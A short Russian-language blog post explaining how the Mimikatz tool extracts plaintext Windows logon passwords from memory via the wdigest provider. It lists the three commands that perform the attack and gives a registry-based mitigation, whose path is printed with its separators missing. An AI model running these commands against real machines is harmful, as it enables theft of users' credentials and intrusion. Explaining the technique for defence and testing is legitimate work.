Mimikatz — перехват паролей открытых сессий Windows

spy-soft.net/mimikatz

25 марта 2013 г.

Mimikatz — инструмент, реализующий функционал Windows Credentials Editor и позволяющий извлечь аутентификационные данные залогинившегося в системе пользователя в открытом виде.

Еще по теме: Повышение привилегий Windows

Атака реализуется следующей магией:

- 1 mimikatz # privilege::debug
- 2 mimikatz # inject::process Isass.exe sekurlsa.dll
- 3 mimikatz # @getLogonPasswords

Подобное чудо связано с использованием поставщика безопасности **wdigest**, который с целью поддержки SSO хранит пароль в памяти открытым текстом (кто бы мог подумать!). Стоит ли говорить, какой выхлоп для атакующего представляет подобный недостаток :).

Защита от Mimikatz

Для защиты от атаки в качестве временного решения можно отключить поставщика безопасности wdigest через соответствующую ветвь реестра:

1 (HKEY LOCAL MACHINESYSTEMCurrentControlSetControlLsa)

Однако стоит понимать, что атакующий может проделать то же самое в обратном порядке.

Имейте ввиду, Mimikatz детектируется антивирусами как хак-тулза.

ПОЛЕЗНЫЕ ССЫЛКИ:

- Как используя Mimikatz извлечь хеши Windows
- Взлом Active Directory на машине HTB Intelligence